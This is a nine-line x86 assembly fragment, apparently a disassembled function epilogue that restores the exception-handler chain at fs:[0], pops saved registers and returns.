mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret